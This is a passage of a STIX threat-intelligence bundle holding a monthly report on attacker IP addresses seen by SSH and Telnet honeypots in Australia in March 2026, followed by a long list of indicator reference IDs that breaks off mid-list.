{
  "id": "bundle--d3aaabd7-b76e-43c8-aded-e7bc44125518",
  "objects": [
    {
      "created": "2026-03-01T00:15:12.536Z",
      "created_by_ref": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "description": "Rolling monthly view of attacker IPv4 addresses observed via SSH and Telnet authentication attempts against Cowrie and Heralding honeypots on a T-Pot CE instance. Each run looks back the last 1h and appends newly seen indicators for this calendar month. Signals are deduplicated to unique sources; private IPs may be included depending on configuration. Intended for defensive use; source infrastructure may be compromised, misattributed, or spoofed. Location: Australia.",
      "id": "report--d3aaabd7-b76e-43c8-aded-e7bc44125518",
      "labels": [
        "threat-report"
      ],
      "modified": "2026-03-31T23:15:03.405Z",
      "name": "SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "object_refs": [
        "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
        "indicator--eca1f902-eb38-430d-be26-476140c0b2bc",
        "indicator--9391cc9a-55f7-490f-a912-7b7d279c3c4a",
        "indicator--7dc0c6b3-81b0-4f77-9602-745b9cfd5108",
        "indicator--2345a1b2-c0f3-4a69-a2e6-6fd54e75ee32",
        "indicator--67bbbb2a-8ec2-4648-86a6-1b6b04496ab7",
        "indicator--9c022560-2a23-45a2-9c50-5a9a9d452e18",
        "indicator--5e39ded6-14b4-4e3d-b48a-7f414db29743",
        "indicator--19b47aac-a73d-4d12-9ff2-90515c125be5",
        "indicator--82560341-ec47-4aff-a49f-cf80da1c8dbc",
        "indicator--cb7c14b8-c950-4180-9d80-83fd4f45bc2d",
        "indicator--44989341-9ea9-4d2e-9330-5ae37584fd5a",
        "indicator--fb85dc1b-7c1b-4b19-a811-2d6213dadbfb",
        "indicator--1ab28782-abdc-433e-bcca-9b88a1ea9486",
        "indicator--13f13f67-918f-41e8-b389-cebee12e5d48",
        "indicator--1b12fea1-2224-475a-a342-0ce029e87210",
        "indicator--a73dfc50-df3b-484a-be6f-4580b5701cd1",
        "indicator--65c00676-e12d-4dae-886f-289f8cf08b89",
        "indicator--fb791a8d-dc48-43b9-9f59-6433511843e4",
        "indicator--675620bf-2d84-4df7-8bc3-b4808654dd0f",
        "indicator--7da92d2b-4362-4fad-8415-ee74233efae4",
        "indicator--c507859e-1dcd-445b-83ad-7e987e910c22",
        "indicator--6f7cbf1d-3fc2-4b19-a1e7-251b36384cbe",
        "indicator--d2f99113-6d3e-4c86-8cbd-836b2b336853",
        "indicator--41af34fa-9e38-4b2a-8eec-ee73da9a9088",
        "indicator--bc718c6f-c051-437e-8824-ce0dfc48bdc1",
        "indicator--41ab76a2-e209-401f-940d-b9a1df662250",
        "indicator--d59d5056-41f1-44e1-a72b-b7e42a6a60bc",
        "indicator--f373a5c9-a4b1-488f-86c6-504a8b12f6a3",
        "indicator--f1026e56-3b0b-45c8-8abc-7b459643c31c",
        "indicator--16278131-d124-463a-87e8-2d9195f48dea",
        "indicator--7f59ba35-5837-4063-88f7-62ab4e5401d4",
        "indicator--e61e7f20-c1d4-4154-be6a-3c0d5354ba51",
        "indicator--20c49d67-757a-45f7-abbe-c1357ec63d47",
        "indicator--8e3f1bb4-dcac-4c49-877c-fc8bda5b3d72",
        "indicator--040bcd4b-9cc3-404c-8dec-60b8afe49e9d",
        "indicator--3ed970e6-1570-4f08-8f0d-8ca9a7947775",
        "indicator--1a380f76-cc77-45b0-be44-35a4005e37c8",
        "indicator--a624793e-c8a4-410b-9df3-2990f309e521",
        "indicator--327c7199-a62d-4e90-a7c6-7faae281d831",
        "indicator--93db73ac-96a5-4cef-8fd0-cad4b7c7677b",
        "indicator--b581f657-ad20-48de-8aee-898b6f677634",
        "indicator--057ae75d-9c32-49b2-987d-81f4c5cb3197",
        "indicator--b551cbeb-445c-4eac-8ae2-6b019fc441d1",
        "indicator--446dab3b-e8c7-449d-8da9-de584ba0e886",
        "indicator--30445292-ec72-420f-be63-bc056e62a356",
        "indicator--ae27d624-11d0-4bcc-9718-d0aa2d06b6fb",
        "indicator--cd1f9d0d-f604-495e-8ef2-da46ab6451ac",
        "indicator--2735da2d-84c9-41c0-8b3b-e644c07274d7",
        "indicator--b4f6ec87-6f76-4673-8e58-85bb451b7855",
        "indicator--f4b2450a-678c-41f5-a5ca-8bfa22f5a8be",
        "indicator--60da2ccf-5ef2-4d2c-bf88-a40d19ac1fad",
        "indicator--4f6266a2-0aec-4ee7-9de8-d81b65c59bfc",
        "indicator--20df3ec1-6c14-4af6-b661-fba2dfcc28bd",
        "indicator--b50e74d4-d678-4c5a-94bb-9b43c42b8028",
        "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
        "indicator--e66084f4-d52c-4a91-b8bd-767d11a60616",
        "indicator--27b5bc13-2f83-4bb8-b38b-d1ce8890c1b1",
        "indicator--05faa928-3e48-4f23-862c-0c77a47315af",
        "indicator--83a3668a-6a1c-4227-b242-746f85d296ff",
        "indicator--d0ea036e-a121-40d3-be23-679e48f4c460",
        "indicator--85eb0d85-ed01-4aaf-9841-659e44a46987",
        "indicator--91188e4a-426e-4a9b-b411-dfbc94a93302",
        "indicator--22a99e91-3cae-4252-8529-9cc07ba08f95",
        "indicator--1b5ec074-3fe5-4ff9-a71e-6bae0e232204",
        "indicator--ddc1f81c-e215-4e2e-b15f-9e919f1260d4",
        "indicator--271d58fb-393d-4db8-8a71-6435018ff0a0",
        "indicator--c2ec2e1d-bb7a-4970-ba94-3397aca5aea2",
        "indicator--a4ec8863-5871-4e0e-94f1-caea8f2a3581",
        "indicator--07494f95-3dca-41bb-90be-b4ac2d0f1303",
        "indicator--c8372566-1002-4029-9c39-49aaeb9fe9b1",
        "indicator--15d6143e-225e-4206-a79c-97917698317a",
        "indicator--bf80d2ba-9c6a-42e8-991e-aa2382eadd3e",
        "indicator--503c74f0-fe7d-4974-9e68-071309ea9a2d",
        "indicator--c7d10613-ad5f-4871-9b5e-90951e80cf17",
        "indicator--ac8b78a5-79dd-4be4-9d76-a522e205ef1d",
        "indicator--ab42fd18-63d9-45ed-a6da-587e47e8c499",
        "indicator--078ef95b-1f6d-4b83-b3b2-2cad1f0a17f8",
        "indicator--ecab680c-83d1-4573-ad88-af057624471e",
        "indicator--4630b87f-0194-4010-ba31-513b3e75f2e0",
        "indicator--12ef8f81-3b44-4336-8a62-f43ab3158d92",
        "indicator--274979bf-492e-4f56-82ee-e2c1496e7712",
        "indicator--6e391c63-0d03-479a-81f3-4bfcb8debc6c",
        "indicator--ad203d16-a155-4e14-ab34-dc8679e48577",
        "indicator--4b06baba-3aa2-467d-ba05-4cabb60d5d10",
        "indicator--a1c64d2b-12e0-47c6-9777-43b36e3df43b",
        "indicator--e244f295-5377-40ba-9f12-4f27147d90a3",
        "indicator--539b52cf-e27f-4a4e-b93c-ed465e25241b",
        "indicator--4d3df6da-ac73-498d-a595-95d24bac3283",
        "indicator--4d433696-bd27-4298-9cd2-f289deef9046",
        "indicator--6ae7e628-2903-4b69-930a-24c608359098",
        "indicator--66ec3c36-4eae-41b6-b528-8a2b3ce444d1",
        "indicator--c65e9c33-a519-4e54-a3b8-731b81d6d66f",
        "indicator--5f487c3a-8ee3-47e4-a7b9-322987fe02ba",
        "indicator--8b682139-8801-4f27-8da2-8eb525ef3908",
        "indicator--adf7fc8c-a43d-41f3-a7c2-f0ed58d72dea",
        "indicator--c654ca3c-4bbf-4081-85e4-907c5478768b",
        "indicator--be2b5242-91c2-4bb5-80bc-bf274103116c",
        "indicator--f9908bd6-09c4-42ee-98f4-b6acb999d01d",
        "indicator--cbb29e0b-ef7a-46fe-a00f-b209db7508a1",
        "indicator--7fa60cda-f0f2-42f7-b8d8-066504cc3e1c",
        "indicator--f23758e2-b784-4e96-be47-9def1c17d31b",
        "indicator--c9d3124e-6819-4780-9851-88254e01a354",
        "indicator--35c20f2e-0435-4d08-be51-d9b5634e682f",
        "indicator--50ef11ec-eb56-4862-b702-528db24dd24d",
        "indicator--57e82115-ad0c-4575-a924-7435922c7970",
        "indicator--4f6580bc-8597-4cc1-8ac3-8f0c46e88091",
        "indicator--364910b6-a5da-4b1a-a2a4-b56aa0a1c649",
        "indicator--fe1d55c9-4e5e-403f-a458-dc9053c36554",
        "indicator--245563b2-b937-4a67-a941-e39a5a65ea3f",
        "indicator--13f81a2f-1d80-4c66-98e7-ae6ec5c55e80",
        "indicator--c71f20af-896e-419d-ba38-214082112be5",
        "indicator--9e96235e-911f-42f4-a5d4-9394d55a71ce",
        "indicator--6d069e54-2426-4e55-9dc4-e097cfd8b532",
        "indicator--1ad3408c-cca4-4a99-9410-722c58299f45",
        "indicator--abb26494-86bf-4505-9517-6002f7c4f031",
        "indicator--d156ff9e-13a5-463f-891b-c7f95638d4fc",
        "indicator--aa70558c-b1ee-4dbe-80a3-ae5d0c8352bc",
        "indicator--263db80f-e24e-4251-b6a3-0eb0c3eeb355",
        "indicator--3abd22cb-f976-4ff5-9d7d-85f3cc49558b",
        "indicator--620c6895-3969-4e68-909b-e2df4612c60a",
        "indicator--5ff1e57a-62bc-4aab-9b0a-45de14ed9b45",
        "indicator--a337b78e-7767-446a-8fe2-229983b1c5b3",
        "indicator--1c014d4f-4b1c-48c8-b290-d99128761348",
        "indicator--133683d9-f0cf-4e6a-81b5-38fe3dee0f32",
        "indicator--bab889e8-aaa6-4783-91ac-ea98f37fe212",
        "indicator--cb4e3e77-97a1-4f3e-8835-cdf3919754c8",
        "indicator--bfb5b578-2897-4f99-ab5d-98a1c950e692",
        "indicator--56ba2537-b343-4749-a92f-08122376d80b",
        "indicator--f4200223-10ee-43ab-a719-9e03011a712f",
        "indicator--f1b8c2ad-b84c-487e-9bfe-1642e2bdc100",
        "indicator--cc5be50e-26f4-483e-bb50-32f2ebc6d405",
        "indicator--ebf8b1d2-4340-47ad-8687-a8be638e9ee5",
        "indicator--8a3d2358-db24-4ab2-9517-6b8129c813fb",
        "indicator--73ece4a2-5d9b-45e1-a985-97fb7bb16d6d",
        "indicator--0b97d61c-7a6e-4729-a86d-7780a345ce5e",
        "indicator--d9f5be8a-9320-4c92-9c38-f7cb16222d21",
        "indicator--6b53eda9-09c4-471b-ae16-b42568f6c863",
        "indicator--12f1befe-3f09-490e-88f4-26fc8a5eef4b",
        "indicator--cb7a0110-f05b-4f93-a11b-2785bdf6ebbf",
        "indicator--0791c9d7-3db1-45c4-a429-d6fcc00d4fd9",
        "indicator--bb939de9-ed8c-4681-822d-e20915ff655b",
        "indicator--685a6d6b-6a75-46d6-813f-b9e16c5a339d",
        "indicator--d3ca0ca3-fa27-43e6-956b-43aa444f965d",
        "indicator--907ecdf5-ee3c-4d1a-b09b-6052cbc5e335",
        "indicator--1875a8a0-3af1-4b13-992a-d7c7335c974a",
        "indicator--c7432e86-a747-480d-bab3-6d13430ed6f9",
        "indicator--d6008294-58f8-46ac-b476-9b00fa624aed",
        "indicator--a423add1-16ae-41c7-8c16-b118d7690f55",
        "indicator--acc7212b-715d-42cd-b8b6-b8f59c7207f9",
        "indicator--6f955d06-5ce0-4e7c-bac4-9937de1d451d",
        "indicator--d6d09943-961e-4c6a-86d6-6e9698d988d7",
        "indicator--655094d5-a6e7-436a-98f7-5a49baacbfe5",
        "indicator--998d06eb-b816-4764-ad83-a4366555d2f1",
        "indicator--42ffe105-2e38-46fc-aaef-13cba678eb57",
        "indicator--3175a545-b3c1-4cf9-90d1-facf6217b2b6",
        "indicator--79087f14-2a17-40fd-9852-21515c5f4c87",
        "indicator--5925ceba-0c95-4fde-aed5-c9ab48dcea87",
        "indicator--9d526392-6fee-4890-a1e0-0a725e3a345f",
        "indicator--c4e7d3b7-58e7-4481-be02-e92406ad2814",
        "indicator--fb17cc5d-a8cc-4eb3-a282-8b5508d5cdcf",
        "indicator--61a73bab-f80a-4f9d-8e48-1f4c7b19783a",
        "indicator--d5c27e97-c778-4aa4-8aec-37e1f9ded112",
        "indicator--72a33cda-c331-42ac-b8c2-0af46d778e0d",
        "indicator--2d79fefb-b631-489e-bca6-910656598be4",
        "indicator--cfcd06c8-f037-4506-a7ad-62c955a6c2c3",
        "indicator--1b271b06-38f9-4eb3-909c-e0899a9370f9",
        "indicator--a60e7da4-9cdb-4b9d-a25c-4264e022a57f",
        "indicator--536441e3-379b-4b68-b011-815bccdd4672",
        "indicator--e6de1eed-48a8-459e-9a93-4de905597687",
        "indicator--be9e2fd2-57ef-4d64-8fec-c23600bcef50",
        "indicator--9f24a41c-a86f-4421-9188-fec5419f3950",
        "indicator--58472310-810b-4e42-9f09-0904bc4729df",
        "indicator--6b22d55c-31b5-464a-bfd3-f323b2dbae05",
        "indicator--1998932d-47a6-4557-9369-d02af8c4e804",
        "indicator--1099f480-f9ed-471b-8e9a-de4e64bc1554",
        "indicator--60f1f038-3a20-43ce-9109-6df8bd30c60a",
        "indicator--3a6a37a2-13a5-411c-9673-0cb15aaf9fd5",
        "indicator--8c5b765e-b2a2-4559-8ddc-2660bcc61c42",
        "indicator--352d9374-2103-457b-9d91-9bd51d146de3",
        "indicator--cdef0b59-624f-4dad-81ef-2de1dc454b94",
        "indicator--c2166b63-2194-4ef6-bf9a-1cc099692574",
        "indicator--ae09dafe-f71c-4183-bbe7-a0b4f7a20a6b",
        "indicator--11a1e906-6f9e-4d65-b411-ad7cc5df60e8",
        "indicator--d5b31be7-1865-4c61-af1a-9b07215ec99f",
        "indicator--98f95c6a-7efd-447a-b0d2-54f82a2563c7",
        "indicator--056f771b-decf-4ab6-b02d-bc3c1417d249",
        "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
        "indicator--4ee71029-9f7e-4fe9-887b-5eda62c67d8e",
        "indicator--628e649c-3291-4b7e-a41e-21e5911830a3",
        "indicator--866a6cfb-327a-468f-8551-86ec4de3e7d0",
        "indicator--06d30e27-453e-48ef-8263-1499cd13e8e7",
        "indicator--d29df374-455a-44a6-a1cc-39ccc43be740",
        "indicator--ed7750e7-1a6c-4eb2-ab61-f1c592f3fd22",
        "indicator--749ce4d8-9fd3-4ffd-80a6-54ddbeb3bfd3",
        "indicator--d71b73e0-5216-4557-a377-8028b2352ee9",
        "indicator--884e340f-34c9-4cea-aace-b9be36cd0b86",
        "indicator--f0d49469-4a03-46cf-a49f-3265deb41387",
        "indicator--7f4f3f05-2f81-41fd-94ce-77c4034005f9",
        "indicator--77a71d90-e787-4000-adac-d08f1745850a",
        "indicator--feb47aed-cca1-49e0-acf3-b9fec6b4c7e9",
        "indicator--394eb2a5-b880-4c40-a9a7-c2249ebeb89a",
        "indicator--fe665edc-a5b4-4f91-b386-214aa354bf5e",
        "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
        "indicator--31726879-77c2-496e-87a9-a4169b84284e",
        "indicator--391da677-7644-4b6e-a107-a178b19bf4e8",
        "indicator--91c1d456-7cb8-4d10-8aef-8f50d3ea2f99",
        "indicator--bf81d67e-8f45-4035-9e21-36524c96ef4e",
        "indicator--acd46b77-11f7-4f58-9c16-0847946f4560",
        "indicator--a50f5d1f-bb50-48f6-b925-89d9a1c9e158",
        "indicator--d0f6cf36-b908-484f-ae88-7275e97fb5fa",
        "indicator--91dcdc8d-bccd-45ed-b381-5f9b10f8181c",
        "indicator--1955532f-45ab-49c2-9aa6-814ea0a84347",
        "indicator--061b4d19-101b-4b75-b40c-a46943d2af06",
        "indicator--a0a85275-b20c-4b07-936c-1e0e5bce9f1f",
        "indicator--3493a927-e087-45b0-8c07-3e9606fc375c",
        "indicator--6a4cf02f-4f5c-42a7-a890-cbec26368e05",
        "indicator--f0c24479-4aa4-436b-af42-9afb9516ec78",
        "indicator--dc8fc2da-3a87-4c1b-9bf0-5e8f66f61290",
        "indicator--22b7c063-1c4a-4e37-94be-71f9902d2ef8",
        "indicator--c85ebcbc-6fa1-490d-831a-936638b75562",
        "indicator--c1d3d6a6-0fa0-4c13-ad89-24fafbd36561",
        "indicator--6c674e31-4003-4384-9e76-9454ef153536",
        "indicator--37177741-594c-47ff-a360-a3917da5700b",
        "indicator--38ec0345-51da-4144-9816-545b366fb01a",
        "indicator--143d66b3-1e45-4738-8bac-4970b975a3ed",
        "indicator--bc058dbb-0bbc-4436-973f-09ba12731b78",
        "indicator--59ba6205-4dfa-4873-a6fa-399c576b880b",
        "indicator--85c97540-0958-420f-924f-341a7439d8f5",
        "indicator--ce7fb42f-985d-46c9-a53d-a1fe87f01c6e",
        "indicator--5ef821b5-a194-49c0-9e99-25bfe5d6bdc2",
        "indicator--40df6306-d4d7-4755-874c-d82f17f9f2f5",
        "indicator--2478880a-5bdb-4352-8651-37eaf5d84486",
        "indicator--d86477c5-e613-4ba4-b511-e4df18052a6a",
        "indicator--8ed60cc9-9b3d-46c1-a907-e40f46fd5c99",
        "indicator--77740a7d-511d-4cf6-97fb-0461127c481d",
        "indicator--07045b31-d995-48a9-87fa-557e70a5cbc3",
        "indicator--0db9b4c2-9632-460a-8c21-45a3d539b960",
        "indicator--3987aa7b-f1d6-47b6-b99f-31060a225157",
        "indicator--05ef261a-eff7-413d-972b-ea893fe1c931",
        "indicator--53e47396-c160-4e12-ba20-1b606ab5bdc5",
        "indicator--beb87983-320f-46ec-9012-e496ee296a8a",
        "indicator--6d775825-289a-45fb-a2be-43a9f6177548",
        "indicator--ce5317c3-1bf5-42c7-9b8b-ac3c0a220f75",
        "indicator--cf4ee1c2-dd7c-4b72-8ce5-7f10ba600ce7",
        "indicator--a2c505fb-b90c-4973-a976-566e09b787d7",
        "indicator--89d5618b-18f6-47a8-b466-029af457a5ed",
        "indicator--26f7ac02-fc60-4eec-9016-5ff498e983df",
        "indicator--80161c76-61df-4d97-8d93-9e0bfc5bef2a",
        "indicator--5d9f34a8-c784-489d-9695-7de1b4f02102",
        "indicator--2c1eeb9f-3d21-4b3e-bbd5-de022be35ed1",
        "indicator--ca7a92d8-802a-4322-a858-ceec0bc55398",
        "indicator--4366a6f0-be74-45cd-8545-e8db2b8000a7",
        "indicator--31f29bb3-b5a2-4aba-a629-bf833d3a3866",
        "indicator--1196c8d1-92d8-477c-890e-63811dc2ced2",
        "indicator--708f125f-3e81-4342-9e1b-7ee9a7005791",
        "indicator--30338201-8b09-4493-9941-71d7ed540299",
        "indicator--35cc28cd-5be6-42c6-9f66-aa0f4922e313",
        "indicator--ac9ef6bf-6020-4df8-965c-8472dd099c97",
        "indicator--c6642484-7c96-4b1b-b090-bf9fe295f428",
        "indicator--8b5e51e0-5689-4b97-b71c-0e29fb603308",
        "indicator--21c26735-8aad-4e7e-9ea2-b4569da5f800",
        "indicator--68b5e9b0-4d62-4700-9486-06699cef1c5e",
        "indicator--b4377a39-1c09-46cf-8a5b-6f04bb7fd9c3",
        "indicator--8b4a61fa-d4e2-48ad-98b7-751ac386ca22",
        "indicator--169b3082-21a4-457b-af55-14123e98eb45",
        "indicator--ad0543e9-cb1e-4d80-bf50-6bc64209f075",
        "indicator--98966ea4-7972-4d0b-b2ac-96b178ccba6e",
        "indicator--b58c4100-3bc4-4420-9921-321b2c155765",
        "indicator--246b70f7-1e90-408c-a78e-f669572363ad",
        "indicator--73b1e83e-4d21-42b8-99d3-ca1276ec2923",
        "indicator--e898a54f-c8dc-4201-83f2-05d8425ff8c1",
        "indicator--ae939412-ca74-40e0-bb4d-b647b9c819a1",
        "indicator--57482c86-1513-4162-b1e2-eb74b521a95f",
        "indicator--a1991513-1ae2-4056-83e9-5def59309be2",
        "indicator--07a80db0-b2e1-4332-af76-77f0ab922d82",
        "indicator--67a5de7e-bdaf-466d-96d8-c67e7064d491",
        "indicator--3d898107-aa55-4434-8ec0-9d73e8d8c0b2",
        "indicator--e8905136-8ba4-464b-8a52-b7109b732d00",
        "indicator--6f130599-d99d-4505-91cd-87bd73d1e669",
        "indicator--e4381441-aae7-4798-b39e-0370d5e92d01",
        "indicator--7f1d2939-7c59-46ed-8a2f-710ed0b5934a",
        "indicator--27cfdbbc-5bcb-4d3e-a3f9-1f18bf7dc05c",
        "indicator--0cd744a8-bcd4-4a58-a245-22a96e44558d",
        "indicator--02e415ab-d32f-4284-a6b3-74ed50a10a4b",
        "indicator--c9006d8d-bd5e-4ac6-87e7-14be2f2e31a2",
        "indicator--f902f31a-7523-4dcd-828d-9719811c8abe",
        "indicator--bb3b7c4f-7475-41dc-8eb2-8d19a45e5666",
        "indicator--37082a9e-b187-48b1-aa35-66e6cfdc9330",
        "indicator--4a557465-7b43-4f56-ad75-afe0c956688b",
        "indicator--e9923428-390a-4de9-bae9-d5cf5735b878",
        "indicator--2b11effe-e251-4f68-a594-220f653d4961",
        "indicator--e7811b2c-797e-42ce-8e89-dd66749b7c61",
        "indicator--cbc2dc3f-af07-4937-b481-1db3e969a2a7",
        "indicator--eb933212-31b0-4d5f-a99e-c9d25b2bf826",
        "indicator--8134cb66-bde3-4287-9b26-e86e1fb74fa0",
        "indicator--14ce3f21-9d67-479b-98d6-d3392fc5cd7c",
        "indicator--37d74513-28f2-4207-8d25-019a7cba6338",
        "indicator--d9e91bcc-04ca-4fcd-b5d8-0d0dcd9ea897",
        "indicator--024c18d3-1255-4c91-90db-9c7c5f34d4d3",
        "indicator--4477b774-498e-4b38-9187-239fdf602670",
        "indicator--967bfa54-91a5-487d-b777-573b80e0a6a5",
        "indicator--0ed15ac3-18da-4304-b256-61b2d66a0326",
        "indicator--af6494b5-dde2-418d-abc3-fc362fcd44c3",
        "indicator--60982c6f-5b76-435c-9303-89477398dc81",
        "indicator--4ff2293f-b735-48ad-b72d-351685fd22f8",
        "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
        "indicator--0937779f-8b6c-4369-981a-4c30ae74fe46",
        "indicator--df2d258e-ac45-4487-b4b5-e2c670b1ca82",
        "indicator--9d0fd95d-ee90-4222-a795-6c548e443385",
        "indicator--ed9b724e-93c8-43be-8757-e7001dff4f93",
        "indicator--d62537f3-0805-4333-ab81-02be12da8bb0",
        "indicator--a202536d-d302-427d-9886-b298a0ac7363",
        "indicator--a76c8083-db13-4de6-aa5e-612ec3ff6e6b",
        "indicator--d910400c-5077-45a8-8596-2adcb4df1809",
        "indicator--680c4b10-268e-4ab3-91da-bda3456e3212",
        "indicator--8617817d-843d-479c-95a8-9b4eabf06ac4",
        "indicator--8a093d26-cde8-419a-8f58-26e2af3ea48b",
        "indicator--8632049f-192c-436b-abac-a368279e3f51",
        "indicator--3e97e55d-8dc8-40c0-9796-3d5491cc624f",
        "indicator--ba718618-dabf-43e5-a35f-1a9115527a40",
        "indicator--f2d729f5-2154-4e90-a76a-feae0a085ab4",
        "indicator--e822348b-aec2-4e52-8ec7-7dbc9c785f1c",
        "indicator--3f23f7f7-dfc4-4416-b027-6e72a9a94421",
        "indicator--fe6a4556-5680-4892-93ae-705852e7c6f2",
        "indicator--a91e24f3-5767-45be-ace9-b63ec70e5b4b",
        "indicator--9786ed25-a484-4813-aaa9-61c350541e23",
        "indicator--4020b69a-bfea-4488-8aba-9d3b4d89f001",
        "indicator--5b15e64d-8e26-4c3d-8390-bc29f437290b",
        "indicator--8e8e6442-f084-435c-9b1c-6de72aaf00d6",
        "indicator--90a44b6b-26e9-457b-b588-b9ccdfbf1e03",
        "indicator--2ac87c1c-edd4-402d-99a5-96fbb2fb3b17",
        "indicator--0a1320ba-7cd9-435d-ac19-0568f8dcec0d",
        "indicator--469b1419-4af1-414b-ba9d-5ac501dfc2c7",
        "indicator--1002bf2b-77e0-4005-8532-e275bc8a9089",
        "indicator--526fae89-04a0-4e66-9f66-c6dcda641131",
        "indicator--fc52f6a3-d4c9-4d74-8b7e-7968c719bc8a",
        "indicator--c1d97e5d-c50e-4aa1-88ad-0506ffefd100",
        "indicator--f4a0c43e-5e3d-4309-90e1-53b17f1fe3e0",
        "indicator--7482a3b9-aae9-46da-a607-9ea3f5822e82",
        "indicator--bb238628-7a2a-4ea9-a9f8-24d5402f1ced",
        "indicator--27c92a37-e717-4e21-b7d2-19cecae824f4",
        "indicator--973f5ab3-7e23-4470-9319-429ae2823a0d",
        "indicator--d169a75c-ccd2-464e-a6dc-a2bc3b121aec",
        "indicator--ad3854e7-515d-490b-816d-0c8a4c1c61f1",
        "indicator--f86f37c2-4b67-4117-98e7-bfce823a9560",
        "indicator--b48749d6-69e6-4c3e-a530-a3629811ca71",
        "indicator--8a2c451a-9a77-413d-ab86-eb90ce313f6e",
        "indicator--9d8a031b-7d2c-4ba4-8a0d-aced07db627c",
        "indicator--d169d6f0-34c7-4071-a1ec-e23803165e22",
        "indicator--2b8ddddf-5513-490e-9ee2-5b72c50f8eb3",
        "indicator--175d2110-8fab-4ef2-b9b1-78100fc6b3e2",
        "indicator--331d5345-067a-4d3c-9021-d55d437c1b60",
        "indicator--2713a621-70a6-4c04-a636-8955f3c1cdd4",
        "indicator--445d0348-b755-4bf5-a342-75aa5a98908c",
        "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
        "indicator--d9437fd5-8c1a-4e81-8de7-d5399fe547bd",
        "indicator--1f76d7c2-9ff1-4529-89fa-8221833fa210",
        "indicator--1c11491d-75c7-4757-bd69-c22bbdc7c9d7",
        "indicator--b999b156-9429-43aa-a69d-cfd86edfb6e1",
        "indicator--75167791-0efb-4a50-8618-592dca53fc63",
        "indicator--936cabd3-f936-42dd-aa4a-8338eff68641",
        "indicator--851b7ff0-4f81-4ab3-9d90-9fcaf0db3e8e",
        "indicator--e50df0af-5f2c-482a-8a56-31ae8c55005c",
        "indicator--e47aab73-b615-4a04-baa7-56749125e6a4",
        "indicator--c73cd8d3-3112-449e-9c8a-8f72158d14f5",
        "indicator--bd0c72df-9943-4a1a-a326-c07067dc800f",
        "indicator--de3e32e3-bc74-4c41-9576-06e56b05be86",
        "indicator--e20e4061-7f66-4af2-83e5-4c9dcf5f4c2b",
        "indicator--7336f9f2-bc5d-4a39-9215-0a31a5137835",
        "indicator--0480c052-7a13-4080-b914-7853eb073ea4",
        "indicator--f0b9add7-e029-4396-935a-d7d31a1df2fa",
        "indicator--9bfe6493-2d5c-4808-a1bc-8cf0e25547fc",
        "indicator--f8aab748-62fe-45bf-97da-ca74269246e8",
        "indicator--87e32340-ec65-4f84-98eb-1e0ae32dc959",
        "indicator--25035762-50be-4039-b1cd-eb1da13ad590",
        "indicator--6186a899-6ae6-44e4-98ab-6f688e625ce1",
        "indicator--e765b85d-d3b9-44a2-95e4-ce72be97f10c",
        "indicator--417f2797-a19f-49a3-ae0c-cf27b399d092",
        "indicator--1dab510c-8557-4a3c-aa76-73d0dc1eb0e8",
        "indicator--067bd8ee-ed50-46c9-946c-a34c3e380127",
        "indicator--e166eaa1-24b5-4527-9d3f-03be3515a220",
        "indicator--cb290b49-f3e9-4e99-84a4-83c9fb0630c1",
        "indicator--bc41f78b-0ef7-4f0d-bca1-837edd274530",
        "indicator--b664707c-ce5d-4a7c-a95b-90ce0f5efe90",
        "indicator--18c273d1-6401-4706-8bee-ad2583ffedb4",
        "indicator--272e93d4-a93c-484c-80c2-3cba71d903ce",
        "indicator--0d2439b7-03fc-4157-a3a3-e0c086860dac",
        "indicator--d797f60d-55ab-4941-8ac2-46116d682bc7",
        "indicator--a42a1185-1dc3-4857-bc2d-689c7ce29bcf",
        "indicator--c75e2103-802f-4000-84d7-e46ac4b1cc60",
        "indicator--8a42017a-a280-4a1a-8995-9974850df39e",
        "indicator--61141ba2-ce23-4802-852f-e026b312f911",
        "indicator--86ede977-669f-470f-96d0-fe862c8e63d2",
        "indicator--8bc9c4cc-c10f-4949-9b7a-4396b8c10385",
        "indicator--d887d3dd-e0ad-4ef3-9353-a1033a24b2a6",
        "indicator--7001eabf-5840-40fb-b29a-ad9877f63cd0",
        "indicator--a2fafc88-5ba4-410a-bf50-ffb29624e23c",
        "indicator--66193f7e-a616-40e7-9a60-473220ebe6fe",
        "indicator--f104760d-860e-4e5c-85b4-52a5e8f9972f",
        "indicator--66033f50-d0e8-40f2-b783-81a5fdd0ccdb",
        "indicator--096a68c3-1166-477e-ba08-71caec8379f1",
        "indicator--3be913a1-dc88-4f85-aef3-f43bfc4b6041",
        "indicator--2b2ab081-45fc-4a8a-879b-4235d919006d",
        "indicator--cecb0660-7ada-411f-acad-e5fde910a88a",
        "indicator--5e919ece-dd70-4473-a71c-183971c23c23",
        "indicator--ce1e6368-6470-4b82-98e0-bde43cb86853",
        "indicator--9db3de2e-695c-4812-a9d8-12b5c3e46496",
        "indicator--eb371501-1dd6-48a3-893c-782f17046682",
        "indicator--7462d126-41a4-40df-a19c-f395ae7a8b0e",
        "indicator--1559e1e4-2ca7-4dc1-ba02-eb98dba77da3",
        "indicator--0e248a26-1e61-4624-a757-49d64188505c",
        "indicator--12024afd-9943-4d34-bc70-0e49d4fa1ff4",
        "indicator--adfd5f5e-a301-4dc8-9a80-9a8c34681439",
        "indicator--c8d34747-b5dd-4861-9c87-0fa3bab0c66d",
        "indicator--ab0c4159-5803-4c3e-b5fa-4e4c3533e0a8",
        "indicator--d6ad5538-d563-430b-ae0f-b4b870af9710",
        "indicator--e165b5a3-1b28-48ac-bd40-62c3dc760a6f",
        "indicator--40506217-f08d-4232-8353-cc89bf637774",
        "indicator--4af6f23d-d54a-4731-95df-41da1a44f8c1",
        "indicator--75b2689a-b674-4b0e-9836-ec716286bead",
        "indicator--8a743582-f667-4b35-9188-87bee83afc58",
        "indicator--c0f1a512-a295-4b50-af89-f773343721bf",
        "indicator--7f569464-98d8-4b2a-b42e-87bfad94e74d",
        "indicator--3ea34e86-07db-4a0a-842c-9e523c0449c8",
        "indicator--003ee4c6-dd54-4d1d-a730-42011394424f",
        "indicator--f697656a-069a-4aaa-9fb7-d7658644c069",
        "indicator--d3ec7a31-e5c8-49a4-91c5-f464c5f935ce",
        "indicator--99aec10e-d18c-43a1-b399-65e535a24dd7",
        "indicator--d582ca9c-0afd-4f9a-a041-078135f0c5c2",
